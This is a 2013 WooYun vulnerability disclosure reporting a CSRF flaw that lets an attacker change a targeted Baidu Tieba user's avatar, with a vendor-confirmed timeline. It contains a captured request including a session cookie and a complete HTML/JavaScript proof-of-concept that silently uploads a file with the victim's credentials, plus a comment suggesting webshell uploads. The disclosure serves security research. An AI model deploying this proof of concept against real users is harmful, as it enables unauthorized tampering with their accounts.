当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-042720

漏洞标题:csrf修改百度贴吧任意制定用户头像

相关厂商:百度

漏洞作者: D&G

提交时间:2013-11-13 11:04

修复时间:2013-12-28 11:04

公开时间:2013-12-28 11:04

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-13: 细节已通知厂商并且等待厂商处理中
2013-11-13: 厂商已经确认,细节仅向厂商公开
2013-11-23: 细节向核心白帽子及相关领域专家公开
2013-12-03: 细节向普通白帽子公开
2013-12-13: 细节向实习白帽子公开
2013-12-28: 细节向公众公开

简要描述:

利用csrf上传文件的漏洞,场景比较广泛。因为上传文件需要交互,所以很多地方都没有做csrf的防御。场景合适也会引起较大的危害,比如文件分享社区上传木马之类。这里主要是用社区性质的应用场景来最为案例。因为在社区里,点击一个链接是一件非常普通的事情。攻击比较容易实现。

详细说明:

利用html5中的新特性,实现csrf无交互的上传任意文件。通常的用户上传文件是需要交互,利用难度较大.不过html5有一个新特性[CORS](http://www.w3.org/TR/cors),可以实现无交互的上传文件.
百度贴吧修改用户头像的请求如下:

POST /syshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/0f1d6c697473616e64731404 HTTP/1.1
Host: himg.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: BAIDUID=DD12776EE79A09E26C7C60AAC3BA7E18:FG=1; H_PS_PSSID=4110_1449_3745_3779_3735_3594; BDUSS=FHZzVLOEVpMkNteDNyblowc0lqVlZaa1hJWHRTdnRCQU9hfmFtQkJFdnRvNmxTQVFBQUFBJCQAAAAAAAAAAAEAAAAPHRQEbGl0c2FuZHMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO0WglLtFoJSb1
Connection: keep-alive
Content-type: multipart/form-data; boundary=---------------------------qmqbkrgbsbcp
Content-Length: 7302
-----------------------------qmqbkrgbsbcp
Content-Disposition: form-data; name="file"; filename="image.jpg"
Content-Type: application/octet-stream
。。。


经过测试没有防御csrf攻击。
不过百度贴吧修改头像的地址每个人都不一样。POST /syshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/0f1d6c697473616e64731404这里的字符串是头像文件的地址。每个用户的头像文件地址都是不变的。所以可以查看到。弊端就是只能定向修改制定用户的头像。
poc如下:

<!DOCTYPE html> 
<html>
<head>
<meta charset=utf-8 />
<link href='http://fonts.googleapis.com/css?family=Inconsolata' rel='stylesheet' type='text/css'>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
<style>
body {background: #333; color: #eee; font-family: 'Inconsolata', Verdana, sans-serif;}
a:link {color: green; }
a:visited {color: darkgreen;}
</style>
</head>
<body>
<h1>sina weibo CSRF arbitrary file upload</h1>
<h2>Step 1</h2>
Log in into <a href="http://baidu.com">weibo.com</a> (skip this if you use 'remember me' feature)
<h2>Step 2</h2>
<button type="button" id="upload" onclick="start()"><font size="+2">Let's have some fun!</font></button>
<script>
var logUrl = 'http://himg.baidu.com/syshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/28e1e5a484e5a5b3e5baa774657374733a';
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
function toBytes(datastr) {
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
return ui8a.buffer;
}
if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) {
XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
this.send(toBytes(datastr));
}
}
function fileUpload(fileData, fileName) {
var fileSize = fileData.length,
boundary = "9849436581144108930470211272",
uri = logUrl,
xhr = new XMLHttpRequest();
var additionalFields = {
upload: "baidu sumit headportrait"
}
var fileFieldName = "file";

xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); // simulate a file MIME POST request.
xhr.setRequestHeader("Content-Length", fileSize);
xhr.withCredentials = "true";

xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {

if (xhr.responseText != "") {
alert(JSON.parse(xhr.responseText).msg); // display response.
}
} else if (xhr.status == 0) {
$("#goto").show();
}
}
}

var body = "";

for (var i in additionalFields) {
if (additionalFields.hasOwnProperty(i)) {
body += addField(i, additionalFields[i], boundary);
}
}
body += addFileField(fileFieldName, fileData, fileName, boundary);
body += "--" + boundary + "--";
xhr.sendAsBinary(body);
return true;
}
function addField(name, value, boundary) {
var c = "--" + boundary + "\r\n"
c += "Content-Disposition: form-data; name='" + name + "'\r\n\r\n";
c += value + "\r\n";
return c;
}
function addFileField(name, value, filename, boundary) {
var c = "--" + boundary + "\r\n"
c += "Content-Disposition: form-data; name='" + name + "'; filename='" + filename + "'\r\n";
c += "Content-Type: image/jpeg\r\n\r\n";
c += value + "\r\n";
return c;
}
function load_binary_resource(url) {
var req = new XMLHttpRequest();
req.open('GET', url, false);
//XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
req.overrideMimeType('text/plain; charset=x-user-defined');
req.send(null);
if (req.status != 200) return '';
var bytes = Array.prototype.map.call(req.responseText, byteValue);
return String.fromCharCode.apply(this, bytes);
return req.responseText;
}
var start = function() {
var c = load_binary_resource('image.jpg');
fileUpload(c, 'image.jpg');
};
start();
</script>
</div>
<div id="goto" style="display:none">
<h2>Step 3</h2>
Done! <a href="http://baidu.com">see for yourself!</a>
</div>
</body>
</html>


logurl需要改成对应用户的头像地址。

漏洞证明:

修改前头像

baidu1.png


访问poc

baidu2.png


刷新,头像被修改。

baidu3.png

修复方案:

也许黑帽子才更懂得每一个漏洞每一缺陷的利用价值。
防御csrf即可。
举一反三多查找一下上传文件是否防御了csrf,不仅仅是传个头像,比如分享文件啊这些点。可以传播恶意文件。

版权声明:转载请注明来源 D&G@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-11-13 15:10

厂商回复:

感谢对百度安全的关注,安全组已联系业务部门处理此问题。
--“百度,因你更安全”

最新状态:

暂无


漏洞评价:

评论

  1. 2013-11-13 11:36 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    csrf后台上传webshell......

  2. 2013-11-13 11:49 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    @xsser 还是您思路猥琐啊。赶紧研究研究。

  3. 2015-04-27 14:44 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ:867597730,百度贴吧ID:昌维001)

    现在还有用?